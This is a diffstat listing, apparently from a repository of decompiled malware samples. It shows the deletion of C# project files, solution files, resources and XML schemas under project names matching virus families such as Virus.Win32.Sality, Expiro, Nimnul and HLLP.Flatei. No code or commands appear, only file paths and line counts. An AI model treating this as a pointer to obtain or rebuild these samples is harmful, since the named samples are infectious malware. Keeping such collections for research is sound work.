15 - .../OLECMDTEXTF.cs | 15 - .../OfflineFolderStatus.cs | 15 - .../PIDMSI_STATUS_VALUE.cs | 15 - .../RESTRICTIONS.cs | 15 - .../RPC_ADDRESS_CHANGE_TYPE.cs | 15 - .../RefreshConstants.cs | 15 - .../ReplacesCorHdrNumericDefines.cs | 15 - .../RequireAppliesToStatus.cs | 12 - .../SYSGEOCLASS.cs | 15 - .../SYSGEOTYPE.cs | 15 - .../SYSNLS_FUNCTION.cs | 15 - .../SearchCommandExecuteErrors.cs | 15 - .../SecureLockIconConstants.cs | 15 - .../ShellFolderViewOptions.cs | 15 - .../ShellSpecialFolderConstants.cs | 15 - .../ShellWindowFindWindowOptions.cs | 15 - .../ShellWindowTypeConstants.cs | 15 - .../TrustDecision.cs | 15 - .../VARENUM.cs | 15 - .../Virus.Win32.Expiro.w.csproj | 666 -- .../Virus.Win32.Expiro.w.sln | 20 - .../WELL_KNOWN_SID_TYPE.cs | 15 - .../X931_restart_t.cs | 15 - .../$ArrayType$$$BY00$$CBD.cs | 21 - .../$ArrayType$$$BY00$$CBG.cs | 21 - .../$ArrayType$$$BY00Q6MPBXXZ.cs | 20 - .../$ArrayType$$$BY01Q6AXXZ.cs | 20 - .../$ArrayType$$$BY07$$CBG.cs | 21 - .../$ArrayType$$$BY08$$CB_W.cs | 21 - .../$ArrayType$$$BY0A@P6AHXZ.cs | 20 - .../$ArrayType$$$BY0A@P6AXXZ.cs | 20 - .../$ArrayType$$$BY0BAE@G.cs | 21 - .../$ArrayType$$$BY0BAF@G.cs | 21 - .../$ArrayType$$$BY0BB@K.cs | 20 - .../$ArrayType$$$BY0BC@$$CBG.cs | 21 - .../$ArrayType$$$BY0CB@$$CBG.cs | 21 - .../$ArrayType$$$BY0CE@$$CBD.cs | 21 - .../$ArrayType$$$BY0CE@$$CBG.cs | 21 - .../$ArrayType$$$BY0EE@E.cs | 21 - .../$ArrayType$$$BY0O@$$CBD.cs | 21 - .../$ArrayType$$$BY0P@$$CBG.cs | 21 - .../ActivationContext.cs | 20 - .../AtExitLock.cs | 20 - .../DefaultDomain.cs | 20 - ...andle_003CSystem_003A_003AObject ^_003E.cs | 20 - .../LanguageSupport.cs | 20 - .../NativeDll.cs | 20 - .../Progress.cs | 28 - .../ThisModule.cs | 20 - .../TriBool.cs | 28 - .../_003CModule_003E.cs | 1451 --- .../_ACCESS_MODE.cs | 15 - .../_ACL.cs | 17 - .../_ACL_INFORMATION_CLASS.cs | 15 - .../_ACTIVATION_CONTEXT_INFO_CLASS.cs | 15 - .../_APTTYPE.cs | 15 - .../_AUDIT_EVENT_TYPE.cs | 15 - .../_BIN_TYPES.cs | 15 - .../_CERT_CHAIN_CONTEXT.cs | 17 - .../_CHANGER_DEVICE_PROBLEM_TYPE.cs | 15 - .../_CM_ERROR_CONTROL_TYPE.cs | 15 - .../_CM_SERVICE_LOAD_TYPE.cs | 15 - .../_CM_SERVICE_NODE_TYPE.cs | 15 - .../_COMPUTER_NAME_FORMAT.cs | 15 - .../_CRYPT_OID_INFO.cs | 24 - .../_DEVICE_POWER_STATE.cs | 15 - .../_Direction.cs | 15 - .../_ELEMENT_TYPE.cs | 15 - .../_EXCEPTION_DISPOSITION.cs | 15 - .../_EXCEPTION_POINTERS.cs | 17 - .../_EXPLICIT_ACCESS_W.cs | 17 - .../_FINDEX_INFO_LEVELS.cs | 15 - .../_FINDEX_SEARCH_OPS.cs | 15 - .../_GET_FILEEX_INFO_LEVELS.cs | 15 - .../_GPO_LINK.cs | 15 - .../_GUID.cs | 18 - .../_HEAP_INFORMATION_CLASS.cs | 15 - .../_HandleType.cs | 15 - .../_IDL_CS_CONVERT.cs | 15 - .../_JOBOBJECTINFOCLASS.cs | 15 - .../_KERB_LOGON_SUBMIT_TYPE.cs | 15 - .../_KERB_PROFILE_BUFFER_TYPE.cs | 15 - .../_KERB_PROTOCOL_MESSAGE_TYPE.cs | 15 - .../_LOGICAL_PROCESSOR_RELATIONSHIP.cs | 15 - .../_LUID.cs | 17 - .../_MEDIA_TYPE.cs | 15 - .../_MEMORY_RESOURCE_NOTIFICATION_TYPE.cs | 15 - .../_MSV1_0_LOGON_SUBMIT_TYPE.cs | 15 - .../_MSV1_0_PROFILE_BUFFER_TYPE.cs | 15 - .../_MSV1_0_PROTOCOL_MESSAGE_TYPE.cs | 15 - .../_MULTIPLE_TRUSTEE_OPERATION.cs | 15 - .../_OSVERSIONINFOW.cs | 18 - .../_POLICY_AUDIT_EVENT_TYPE.cs | 15 - .../_POLICY_DOMAIN_INFORMATION_CLASS.cs | 15 - .../_POLICY_INFORMATION_CLASS.cs | 15 - .../_POLICY_LSA_SERVER_ROLE.cs | 15 - .../_POLICY_NOTIFICATION_INFORMATION_CLASS.cs | 15 - .../_PROCESSOR_CACHE_TYPE.cs | 15 - .../_PROGRESS_INVOKE_SETTING.cs | 15 - .../_PaddingMode.cs | 15 - .../_RPCCALLBACKS.cs | 17 - .../_RPC_ASYNC_EVENT.cs | 15 - .../_RPC_HTTP_REDIRECTOR_STAGE.cs | 15 - .../_RPC_NOTIFICATION_TYPES.cs | 15 - .../_RPC_REQUEST.cs | 17 - .../_RPC_RESPONSE.cs | 17 - .../_SASL_AUTHZID_STATE.cs | 15 - .../_SC_ACTION_TYPE.cs | 15 - .../_SC_ENUM_TYPE.cs | 15 - .../_SC_STATUS_TYPE.cs | 15 - .../_SECURITY_ATTRIBUTES.cs | 17 - .../_SECURITY_IMPERSONATION_LEVEL.cs | 15 - .../_SECURITY_LOGON_SESSION_DATA.cs | 17 - .../_SECURITY_LOGON_TYPE.cs | 15 - .../_SETTINGSTATUS.cs | 15 - .../_SE_ADT_PARAMETER_TYPE.cs | 15 - .../_SE_OBJECT_TYPE.cs | 15 - .../_SID_NAME_USE.cs | 15 - .../_SPACTION.cs | 15 - .../_SPTEXT.cs | 15 - .../_STORAGE_BUS_TYPE.cs | 15 - .../_STORAGE_MEDIA_TYPE.cs | 15 - .../_STREAM_INFO_LEVELS.cs | 15 - .../_SYSTEM_POWER_STATE.cs | 15 - .../_SecDelegationType.cs | 15 - .../_TAPE_DRIVE_PROBLEM_TYPE.cs | 15 - .../_THDTYPE.cs | 15 - .../_TOKEN_INFORMATION_CLASS.cs | 15 - .../_TOKEN_MANDATORY_LABEL.cs | 17 - .../_TOKEN_OWNER.cs | 17 - .../_TOKEN_STATISTICS.cs | 17 - .../_TOKEN_TYPE.cs | 15 - .../_TRUSTED_INFORMATION_CLASS.cs | 15 - .../_TRUSTEE_FORM.cs | 15 - .../_TRUSTEE_TYPE.cs | 15 - .../_URLZONEREG.cs | 15 - .../_USER_MARSHAL_CB_TYPE.cs | 15 - .../__MIDL_IActionProgressDialog_0001.cs | 15 - .../__MIDL_IActionProgress_0001.cs | 15 - .../__MIDL_IBindStatusCallback_0001.cs | 15 - .../__MIDL_IBindStatusCallback_0002.cs | 15 - .../__MIDL_IBindStatusCallback_0003.cs | 15 - .../__MIDL_IBindStatusCallback_0004.cs | 15 - .../__MIDL_IBindStatusCallback_0005.cs | 15 - .../__MIDL_IBindStatusCallback_0006.cs | 15 - .../__MIDL_IBrowserFrameOptions_0001.cs | 15 - .../__MIDL_ICDBurnExt_0002.cs | 15 - .../__MIDL_ICodeInstall_0001.cs | 15 - .../__MIDL_IInternetSecurityManager_0001.cs | 15 - .../__MIDL_IInternetSecurityManager_0002.cs | 15 - .../__MIDL_IInternetSecurityManager_0003.cs | 15 - .../__MIDL_IInternetZoneManager_0001.cs | 15 - .../__MIDL_IInternetZoneManager_0002.cs | 15 - .../__MIDL_IMenuBand_0001.cs | 15 - .../__MIDL_IMonikerProp_0001.cs | 15 - .../__MIDL_INamespaceWalk_0001.cs | 15 - .../__MIDL_IOleDocument_0001.cs | 15 - .../__MIDL_IPrint_0001.cs | 15 - .../__MIDL_ISearchCommandExt_0001.cs | 15 - .../__MIDL_IShellItem_0001.cs | 15 - .../__MIDL_IShellItem_0002.cs | 15 - .../__MIDL_IShellPropSheetExt_0001.cs | 15 - .../__MIDL___MIDL_itf_objidl_0055_0001.cs | 15 - .../__MIDL___MIDL_itf_objidl_0055_0002.cs | 15 - .../__MIDL___MIDL_itf_shobjidl_0201_0001.cs | 15 - .../__MIDL___MIDL_itf_shobjidl_0202_0001.cs | 15 - .../__MIDL___MIDL_itf_shobjidl_0202_0002.cs | 15 - .../__MIDL___MIDL_itf_shobjidl_0202_0004.cs | 15 - .../__MIDL___MIDL_itf_shobjidl_0202_0005.cs | 15 - .../__MIDL___MIDL_itf_shobjidl_0209_0001.cs | 15 - .../__MIDL___MIDL_itf_shobjidl_0209_0002.cs | 15 - .../__MIDL___MIDL_itf_shobjidl_0209_0003.cs | 15 - .../__MIDL___MIDL_itf_shobjidl_0211_0001.cs | 15 - .../__MIDL___MIDL_itf_shobjidl_0211_0002.cs | 15 - .../__MIDL___MIDL_itf_shobjidl_0212_0001.cs | 15 - .../__MIDL___MIDL_itf_shobjidl_0212_0002.cs | 15 - .../__MIDL___MIDL_itf_shobjidl_0230_0002.cs | 15 - .../__MIDL___MIDL_itf_shobjidl_0241_0001.cs | 15 - .../__MIDL___MIDL_itf_shobjidl_0247_0001.cs | 15 - .../__MIDL___MIDL_itf_shobjidl_0251_0001.cs | 15 - .../__MIDL___MIDL_itf_shobjidl_0251_0002.cs | 15 - .../__MIDL___MIDL_itf_shobjidl_0260_0001.cs | 15 - .../__MIDL___MIDL_itf_shobjidl_0260_0002.cs | 15 - .../__MIDL___MIDL_itf_shobjidl_0260_0003.cs | 15 - .../__enative_startup_state.cs | 15 - .../_iobuf.cs | 17 - .../_ldiv_t.cs | 17 - .../_s__RTTIBaseClassDescriptor2.cs | 17 - .../_s__RTTIClassHierarchyDescriptor.cs | 17 - .../_s__RTTICompleteObjectLocator.cs | 17 - .../_tagACENUMOPTION.cs | 15 - .../_tagAUTOCOMPLETELISTOPTIONS.cs | 15 - .../_tagAUTOCOMPLETEOPTIONS.cs | 15 - .../_tagINTERNETFEATURELIST.cs | 15 - .../_tagOIBDG_FLAGS.cs | 15 - .../_tagPARSEACTION.cs | 15 - .../_tagPI_FLAGS.cs | 15 - .../_tagPSUACTION.cs | 15 - .../_tagQUERYOPTION.cs | 15 - .../addressing.xsd | 144 - .../addressing04.xsd | 133 - ...croot_003CSystem_003A_003AString ^_003E.cs | 17 - .../identity.xsd | 434 - .../localeinfo_struct.cs | 17 - .../0.xsd | 195 - .../0.xsd | 108 - .../std/_Uninitialized.cs | 18 - .../tagACTCTXW.cs | 17 - .../tagACTIVATEFLAGS.cs | 15 - .../tagADVF.cs | 15 - .../tagATTACHMENT_ACTION.cs | 15 - .../tagATTACHMENT_PROMPT.cs | 15 - .../tagApplicationType.cs | 15 - .../tagAspectInfoFlag.cs | 15 - .../tagBINDSPEED.cs | 15 - .../tagBINDSTATUS.cs | 15 - .../tagBINDSTRING.cs | 15 - .../tagBIND_FLAGS.cs | 15 - .../tagCALLCONV.cs | 15 - .../tagCALLTYPE.cs | 15 - .../tagCHANGEKIND.cs | 15 - .../tagCLSCTX.cs | 15 - .../tagCOINIT.cs | 15 - .../tagCOMSD.cs | 15 - .../tagCOWAIT_FLAGS.cs | 15 - .../tagCTRLINFO.cs | 15 - .../tagDATADIR.cs | 15 - .../tagDCOM_CALL_STATE.cs | 15 - .../tagDESCKIND.cs | 15 - .../tagDISCARDCACHE.cs | 15 - .../tagDOMNodeType.cs | 15 - .../tagDVASPECT.cs | 15 - .../tagDVASPECT2.cs | 15 - .../tagEOLE_AUTHENTICATION_CAPABILITIES.cs | 15 - .../tagEXTCONN.cs | 15 - .../tagExtendedErrorParamTypes.cs | 15 - .../tagExtentMode.cs | 15 - .../tagFUNCFLAGS.cs | 15 - .../tagFUNCKIND.cs | 15 - .../tagGUIDKIND.cs | 15 - .../tagHITRESULT.cs | 15 - .../tagINVOKEKIND.cs | 15 - .../tagLIBFLAGS.cs | 15 - .../tagLOCKTYPE.cs | 15 - .../tagMEMCTX.cs | 15 - .../tagMKREDUCE.cs | 15 - .../tagMKSYS.cs | 15 - .../tagMSG.cs | 17 - .../tagMSHCTX.cs | 15 - .../tagMSHLFLAGS.cs | 15 - .../tagNWMF.cs | 15 - .../tagOLECLOSE.cs | 15 - .../tagOLECONTF.cs | 15 - .../tagOLEDCFLAGS.cs | 15 - .../tagOLEGETMONIKER.cs | 15 - .../tagOLELINKBIND.cs | 15 - .../tagOLEMISC.cs | 15 - .../tagOLERENDER.cs | 15 - .../tagOLEUPDATE.cs | 15 - .../tagOLEVERBATTRIB.cs | 15 - .../tagOLEWHICHMK.cs | 15 - .../tagPENDINGMSG.cs | 15 - .../tagPENDINGTYPE.cs | 15 - .../tagPOINTERINACTIVE.cs | 15 - .../tagPROPBAG2_TYPE.cs | 15 - .../tagPROPPAGESTATUS.cs | 15 - .../tagPROPVARIANT.cs | 60 - .../tagPictureAttributes.cs | 15 - .../tagQACONTAINERFLAGS.cs | 15 - .../tagREADYSTATE.cs | 15 - .../tagRECT.cs | 17 - .../tagREGCLS.cs | 15 - .../tagREGKIND.cs | 15 - .../tagSERVERCALL.cs | 15 - .../tagSF_TYPE.cs | 15 - .../tagSHCONTF.cs | 15 - .../tagSHGDN.cs | 15 - .../tagSTATFLAG.cs | 15 - .../tagSTDMSHLFLAGS.cs | 15 - .../tagSTGC.cs | 15 - .../tagSTGMOVE.cs | 15 - .../tagSTGTY.cs | 15 - .../tagSTREAM_SEEK.cs | 15 - .../tagSTRRET_TYPE.cs | 15 - .../tagSYSKIND.cs | 15 - .../tagShutdownType.cs | 15 - .../tagTEXTMETRICA.cs | 17 - .../tagTEXTMETRICW.cs | 17 - .../tagTYMED.cs | 15 - .../tagTYPEFLAGS.cs | 15 - .../tagTYPEKIND.cs | 15 - .../tagTYSPEC.cs | 15 - .../tagUASFLAGS.cs | 15 - .../tagURLTEMPLATE.cs | 15 - .../tagURLZONE.cs | 15 - .../tagUSERCLASSTYPE.cs | 15 - .../tagVARFLAGS.cs | 15 - .../tagVARIANT.cs | 74 - .../tagVARKIND.cs | 15 - .../tagVIEWSTATUS.cs | 15 - .../tagXFORMCOORDS.cs | 15 - .../tagXMLEMEM_TYPE.cs | 15 - .../tag_CIMTYPE_ENUMERATION.cs | 15 - .../tag_WBEMSTATUS.cs | 15 - .../tag_WBEMSTATUS_FORMAT.cs | 15 - .../tag_WBEM_BACKUP_RESTORE_FLAGS.cs | 15 - .../tag_WBEM_CHANGE_FLAG_TYPE.cs | 15 - .../tag_WBEM_COMPARISON_FLAG.cs | 15 - .../tag_WBEM_COMPILER_OPTIONS.cs | 15 - .../tag_WBEM_CONDITION_FLAG_TYPE.cs | 15 - .../tag_WBEM_CONNECT_OPTIONS.cs | 15 - .../tag_WBEM_FLAVOR_TYPE.cs | 15 - .../tag_WBEM_GENERIC_FLAG_TYPE.cs | 15 - .../tag_WBEM_GENUS_TYPE.cs | 15 - .../tag_WBEM_INFORMATION_FLAG_TYPE.cs | 15 - .../tag_WBEM_LIMITATION_FLAG_TYPE.cs | 15 - .../tag_WBEM_LIMITS.cs | 15 - .../tag_WBEM_LOCKING.cs | 15 - .../tag_WBEM_QUERY_FLAG_TYPE.cs | 15 - .../tag_WBEM_REFRESHER_FLAGS.cs | 15 - .../tag_WBEM_SECURITY_FLAGS.cs | 15 - .../tag_WBEM_SHUTDOWN_FLAGS.cs | 15 - .../tag_WBEM_STATUS_TYPE.cs | 15 - .../tag_WBEM_TEXT_FLAG_TYPE.cs | 15 - .../tag_WBEM_TIMEOUT_TYPE.cs | 15 - .../tag_WBEM_UNSECAPP_FLAG_TYPE.cs | 15 - .../tag_WMI_OBJ_TEXT.cs | 15 - .../tm.cs | 17 - .../type_info.cs | 18 - .../ws-identity-2007.xsd | 26 - .../ws-policy-2007.xsd | 141 - .../ws-policy.xsd | 118 - .../ws-securitypolicy-1/2.xsd | 1113 -- .../ws-securitypolicy.xsd | 979 -- .../ws-trust-1/3.xsd | 444 - .../ws-trust.xsd | 451 - .../xenc-schema.xsd | 137 - .../xml.xsd | 135 - .../xmldsig-core-schema.xsd | 310 - .../AssemblyInfo.cs | 3 - .../Virus.Win32.HLLP.Flatei.a.csproj | 36 - .../Virus.Win32.HLLP.Flatei.a.sln | 20 - .../msil_syra_by_alcopaul.cs | 131 - .../AssemblyInfo.cs | 3 - .../Virus.Win32.HLLP.Flatei.b.csproj | 36 - .../Virus.Win32.HLLP.Flatei.b.sln | 20 - .../v3589_.cs | 127 - .../AssemblyInfo.cs | 3 - .../Virus.Win32.HLLP.Flatei.c.csproj | 39 - .../Virus.Win32.HLLP.Flatei.c.sln | 20 - .../Virus.cs | 166 - .../AssemblyInfo.cs | 3 - .../Virus.Win32.HLLP.Flatei.d.csproj | 36 - .../Virus.Win32.HLLP.Flatei.d.sln | 20 - .../msil_syra_by_alcopaul.cs | 138 - .../AssemblyInfo.cs | 3 - .../Virus.Win32.HLLP.Flatei.f.csproj | 36 - .../Virus.Win32.HLLP.Flatei.f.sln | 20 - .../msil_syra_c.cs | 162 - .../AssemblyInfo.cs | 13 - .../BogBorder.cs | 237 - .../BogBorder.resx | 120 - .../BogButton.cs | 218 - .../BogButton.resx | 120 - .../BogPanel.cs | 210 - .../BogPanel.resx | 126 - .../BogTimer.cs | 1425 --- .../BogTimer.resx | 216 - .../CircleLabel.cs | 214 - .../CircleLabel.resx | 126 - .../Cube.cs | 256 - .../CubesCollection.cs | 375 - .../Virus.Win32.Lykov.b.csproj | 70 - .../Virus.Win32.Lykov.b.sln | 20 - .../frmAbout.cs | 272 - .../frmAbout.resx | 141 - .../frmHighScores.cs | 351 - .../frmHighScores.resx | 144 - .../frmMain.cs | 4481 -------- .../frmMain.resx | 480 - .../frmWelcome.cs | 235 - .../frmWelcome.resx | 135 - .../modFindWords.cs | 287 - .../modGlobal.cs | 67 - .../tmrShape.cs | 164 - .../tmrShape.resx | 120 - .../AssemblyInfo.cs | 22 - .../AssemblyRef.cs | 48 - .../CommandLine/CommandLineSwitchException.cs | 60 - .../CommandLine/CommandLineSwitches.cs | 393 - .../CommandLine/InitializationException.cs | 75 - .../CommandLine/MSBuildApp.cs | 633 -- .../FXAssembly.cs | 10 - .../MSBuild/Strings.resx | 302 - .../Shared/AssemblyLoadInfo.cs | 51 - .../Shared/AssemblyResources.cs | 19 - .../Shared/ErrorUtilities.cs | 193 - .../Shared/InternalErrorException.cs | 39 - .../Shared/LoadedType.cs | 32 - .../Shared/QuotingUtilities.cs | 125 - .../Shared/ResourceUtilities.cs | 57 - .../Shared/TypeLoader.cs | 117 - .../ThisAssembly.cs | 16 - .../Virus.Win32.Nimnul.c.csproj | 59 - .../Virus.Win32.Nimnul.c.sln | 20 - .../AssemblyInfo.cs | 14 - .../DialogBox.cs | 132 - .../DialogBox.resx | 149 - .../Form1.cs | 544 - .../Form1.resx | 123 - .../Program.cs | 22 - .../Properties/Resources.cs | 46 - .../Properties/Resources.resx | 120 - .../Properties/Settings.cs | 21 - .../Virus.Win32.Otwycal.a.csproj | 51 - .../Virus.Win32.Otwycal.a.sln | 20 - .../Abbrevs.cs | 68 - .../AssemblyInfo.cs | 10 - .../CommandLine.cs | 76 - .../Option.cs | 24 - .../REGKIND.cs | 15 - .../RegAsm.cs | 251 - .../RegAsm.resx | 231 - .../Resource.cs | 41 - .../Util/Version.cs | 14 - .../Virus.Win32.Sality.q.csproj | 46 - .../Virus.Win32.Sality.q.sln | 20 - .../AssemblyInfo.cs | 10 - .../BuildVersionInfo.cs | 13 - .../Compiler.cs | 28 - .../CompilerOptions.cs | 55 - .../EngineSite.cs | 39 - .../JSC.resx | 237 - .../JScriptCompiler.cs | 946 -- .../Virus.Win32.Sality.sil.csproj | 47 - .../Virus.Win32.Sality.sil.sln | 20 - .../AssemblyInfo.cs | 13 - .../Form1.cs | 2616 ----- .../Form1.resx | 123 - .../Memory.cs | 358 - .../My/InternalXmlHelper.cs | 177 - .../My/MyApplication.cs | 58 - .../My/MyComputer.cs | 24 - .../My/MyProject.cs | 212 - .../My/MySettings.cs | 74 - .../My/MySettingsProperty.cs | 31 - .../My/Resources/Resources.cs | 46 - .../Resources.resx | 120 - .../Virus.Win32.Sality.sil.csproj | 57 - .../Virus.Win32.Sality.sil.sln | 20 - .../AssemblyInfo.cs | 14 - .../INetFwAuthorizedApplication.cs | 31 - .../INetFwAuthorizedApplications.cs | 32 - .../INetFwIcmpSettings.cs | 43 - .../INetFwMgr.cs | 40 - .../INetFwOpenPort.cs | 37 - .../INetFwOpenPorts.cs | 32 - .../INetFwPolicy.cs | 20 - .../INetFwProfile.cs | 43 - .../INetFwRemoteAdminSettings.cs | 25 - .../INetFwService.cs | 37 - .../INetFwServices.cs | 26 - .../NET_FW_IP_PROTOCOL_.cs | 11 - .../NET_FW_IP_VERSION_.cs | 13 - .../NET_FW_PROFILE_TYPE_.cs | 13 - .../NET_FW_SCOPE_.cs | 13 - .../NET_FW_SERVICE_TYPE_.cs | 14 - .../FirewallConfig/WinXPFirewall.cs | 134 - .../PinnacleSys/MediaServer/MainForm.cs | 288 - .../PinnacleSys/MediaServer/MainForm.resx | 177 - .../MediaServer/MyApplicationContext.cs | 18 - .../Virus.Win32.Sality.sil.csproj | 62 - .../Virus.Win32.Sality.sil.sln | 20 - .../ADMigratorResources.cs | 19 - .../ADMigratorResources.resx | 330 - .../AdMigLibResources.resx | 352 - .../AssemblyInfo.cs | 6 - .../CUIFileMap.cs | 46 - .../CUIFileMigrator.cs | 1232 --- .../CustElementLocation.cs | 24 - .../CustomizationHostServices.cs | 101 - .../DisposableContainer.cs | 30 - .../ExportDialog.cs | 113 - .../ExportDialog.resx | 286 - .../ImportDialog.cs | 79 - .../ImportDialog.resx | 253 - .../LocalResources.cs | 26 - .../MNUFileMigrator.cs | 137 - .../MainForm.cs | 1481 --- .../MainForm.resx | 655 -- .../MigratorMessageBox.cs | 85 - .../MigratorMessageBox.resx | 301 - .../ProgressForm.cs | 43 - .../ProgressForm.resx | 166 - .../Properties/Settings.cs | 49 - .../Virus.Win32.Sality.sil.csproj | 66 - .../Virus.Win32.Sality.sil.sln | 20 - .../AssemblyInfo.cs | 14 - .../Attributes/PoweredByAttribute.cs | 26 - .../SmartAssembly/Attributes/Token2000130.cs | 12 - .../SmartExceptionsCore/ReportingService.cs | 36 - .../SmartExceptionsCore/Token200012D.cs | 12 - .../SmartExceptionsCore/UnhandledException.cs | 290 - .../UploadReportLoginService.cs | 34 - .../Virus.Win32.Sality.sil.csproj | 309 - .../Virus.Win32.Sality.sil.sln | 20 - .../_0001/Token2000129.cs | 12 - .../_0001/_0001.cs | 125 - .../_0001/_0002.cs | 10 - .../_0001/_0003.cs | 96 - .../_0001/_0004.cs | 244 - .../_0001/_0005.cs | 21 - .../_0001/_0006.cs | 148 - .../_0001_0003.cs | 9 - .../_0001_0004.cs | 9 - .../_0001_0005.cs | 9 - .../_0001_0006.cs | 10 - .../_0002/Token200012A.cs | 12 - .../_0002/_0001.cs | 43 - .../_0002/_0002.cs | 93 - .../_0002/_0003.cs | 528 - .../_0002/_0004.cs | 204 - .../_0002/_0005.cs | 44 - .../_0002/_0006.cs | 3797 ------- .../_0002_0003.cs | 9 - .../_0002_0004.cs | 10 - .../_0002_0005.cs | 10 - .../_0002_0006.cs | 9 - .../_0003/Token200012B.cs | 12 - .../_0003/_0001.cs | 57 - .../_0003/_0002.cs | 16 - .../_0003/_0003.cs | 64 - .../_0003/_0004.cs | 99 - .../_0003/_0005.cs | 84 - .../_0003/_0006.cs | 1317 --- .../_0003_0003.cs | 9 - .../_0003_0004.cs | 9 - .../_0003_0005.cs | 10 - .../_0003_0006.cs | 9 - .../_0004/Token200012C.cs | 12 - .../_0004/_0001.cs | 159 - .../_0004/_0002.cs | 12 - .../_0004/_0003.cs | 45 - .../_0004/_0004.cs | 54 - .../_0004/_0005.cs | 22 - .../_0004/_0006.cs | 63 - .../_0004_0003.cs | 9 - .../_0004_0004.cs | 9 - .../_0004_0005.cs | 9 - .../_0004_0006.cs | 11 - .../_0005/Token200012E.cs | 12 - .../_0005/_0001.cs | 133 - .../_0005/_0002.cs | 62 - .../_0005/_0003.cs | 146 - .../_0005/_0004.cs | 107 - .../_0005/_0005.cs | 15 - .../_0005/_0006.cs | 49 - .../_0005_0003.cs | 10 - .../_0005_0004.cs | 10 - .../_0005_0005.cs | 10 - .../_0005_0006.cs | 10 - .../_0006/Token200012F.cs | 12 - .../_0006/_0001.cs | 29 - .../_0006/_0002.cs | 377 - .../_0006/_0003.cs | 73 - .../_0006/_0004.cs | 114 - .../_0006/_0005.cs | 37 - .../_0006/_0006.cs | 291 - .../_0006_0003.cs | 9 - .../_0006_0004.cs | 9 - .../_0006_0005.cs | 9 - .../_0007/Token2000131.cs | 12 - .../_0007/_0001.cs | 46 - .../_0007/_0002.cs | 59 - .../_0007/_0003.cs | 79 - .../_0007/_0004.cs | 100 - .../_0007/_0005.cs | 140 - .../_0007/_0006.cs | 74 - .../_0007_0003.cs | 10 - .../_0007_0004.cs | 10 - .../_0007_0005.cs | 10 - .../_0008/Token2000133.cs | 12 - .../_0008/_0001.cs | 61 - .../_0008/_0002.cs | 2599 ----- .../_0008/_0003.cs | 63 - .../_0008_0003.cs | 9 - .../_0008_0004.cs | 10 - .../_0008_0005.cs | 10 - .../_000E_0003.cs | 9 - .../_000E_0004.cs | 10 - .../_000E_0005.cs | 9 - .../_000F_0003.cs | 10 - .../_000F_0004.cs | 10 - .../_000F_0005.cs | 10 - .../_0010_0003.cs | 9 - .../_0010_0004.cs | 10 - .../_0010_0005.cs | 9 - .../_0011_0003.cs | 10 - .../_0011_0004.cs | 10 - .../_0011_0005.cs | 10 - .../_0012_0003.cs | 10 - .../_0012_0004.cs | 10 - .../_0012_0005.cs | 11 - .../_0013_0003.cs | 10 - .../_0013_0004.cs | 9 - .../_0013_0005.cs | 10 - .../_0014_0003.cs | 10 - .../_0014_0004.cs | 9 - .../_0014_0005.cs | 10 - .../_0015_0003.cs | 10 - .../_0015_0004.cs | 10 - .../_0015_0005.cs | 10 - .../_0016_0003.cs | 9 - .../_0016_0004.cs | 11 - .../_0016_0005.cs | 7 - .../_0017_0003.cs | 10 - .../_0017_0004.cs | 10 - .../_0017_0005.cs | 9 - .../_0018_0003.cs | 10 - .../_0018_0004.cs | 10 - .../_0018_0005.cs | 9 - .../_0019_0003.cs | 10 - .../_0019_0004.cs | 10 - .../_0019_0005.cs | 9 - .../_001A_0003.cs | 9 - .../_001A_0004.cs | 10 - .../_001A_0005.cs | 9 - .../_001B_0003.cs | 10 - .../_001B_0004.cs | 10 - .../_001B_0005.cs | 9 - .../_001C_0003.cs | 10 - .../_001C_0004.cs | 10 - .../_001C_0005.cs | 10 - .../_001D_0003.cs | 10 - .../_001D_0004.cs | 10 - .../_001D_0005.cs | 10 - .../_001E_0003.cs | 9 - .../_001E_0004.cs | 9 - .../_001E_0005.cs | 9 - .../_001F_0003.cs | 9 - .../_001F_0004.cs | 10 - .../_001F_0005.cs | 10 - .../_003CModule_003E.cs | 17 - .../_007F_0003.cs | 10 - .../_007F_0004.cs | 9 - .../_007F_0005.cs | 10 - .../_0080_0003.cs | 10 - .../_0080_0004.cs | 18 - .../_0080_0005.cs | 10 - .../_0081_0003.cs | 9 - .../_0081_0004.cs | 10 - .../_0081_0005.cs | 9 - .../_0082_0003.cs | 10 - .../_0082_0004.cs | 9 - .../_0082_0005.cs | 10 - .../_0083_0003.cs | 10 - .../_0083_0004.cs | 10 - .../_0083_0005.cs | 9 - .../_0084_0003.cs | 10 - .../_0084_0004.cs | 11 - .../_0084_0005.cs | 9 - .../_0086_0003.cs | 10 - .../_0086_0004.cs | 10 - .../_0086_0005.cs | 9 - .../_0087_0003.cs | 9 - .../_0087_0004.cs | 10 - .../_0087_0005.cs | 9 - .../_0088_0003.cs | 10 - .../_0088_0004.cs | 9 - .../_0088_0005.cs | 10 - .../_0089_0003.cs | 9 - .../_0089_0004.cs | 9 - .../_0089_0005.cs | 10 - .../_008A_0003.cs | 10 - .../_008A_0004.cs | 9 - .../_008A_0005.cs | 9 - .../_008B_0003.cs | 13 - .../_008B_0004.cs | 10 - .../_008B_0005.cs | 16 - .../_008C_0003.cs | 9 - .../_008C_0004.cs | 10 - .../_008C_0005.cs | 10 - .../_008D_0002.cs | 10 - .../_008D_0003.cs | 10 - .../_008D_0004.cs | 10 - .../_008D_0005.cs | 9 - .../_008E_0002.cs | 16 - .../_008E_0003.cs | 9 - .../_008E_0004.cs | 9 - .../_008E_0005.cs | 9 - .../_008F_0002.cs | 10 - .../_008F_0003.cs | 9 - .../_008F_0004.cs | 10 - .../_008F_0005.cs | 10 - .../_0090_0002.cs | 10 - .../_0090_0003.cs | 10 - .../_0090_0004.cs | 10 - .../_0090_0005.cs | 9 - .../_0091_0002.cs | 9 - .../_0091_0003.cs | 10 - .../_0091_0004.cs | 9 - .../_0091_0005.cs | 9 - .../_0092_0002.cs | 10 - .../_0092_0003.cs | 10 - .../_0092_0004.cs | 10 - .../_0092_0005.cs | 10 - .../_0093_0002.cs | 9 - .../_0093_0003.cs | 10 - .../_0093_0004.cs | 10 - .../_0093_0005.cs | 9 - .../_0094_0002.cs | 10 - .../_0094_0003.cs | 10 - .../_0094_0004.cs | 10 - .../_0094_0005.cs | 10 - .../_0095_0002.cs | 9 - .../_0095_0003.cs | 10 - .../_0095_0004.cs | 10 - .../_0095_0005.cs | 10 - .../_0096_0002.cs | 10 - .../_0096_0003.cs | 10 - .../_0096_0004.cs | 9 - .../_0096_0005.cs | 9 - .../_0097_0002.cs | 9 - .../_0097_0003.cs | 15 - .../_0097_0004.cs | 9 - .../_0097_0005.cs | 10 - .../_0098_0002.cs | 10 - 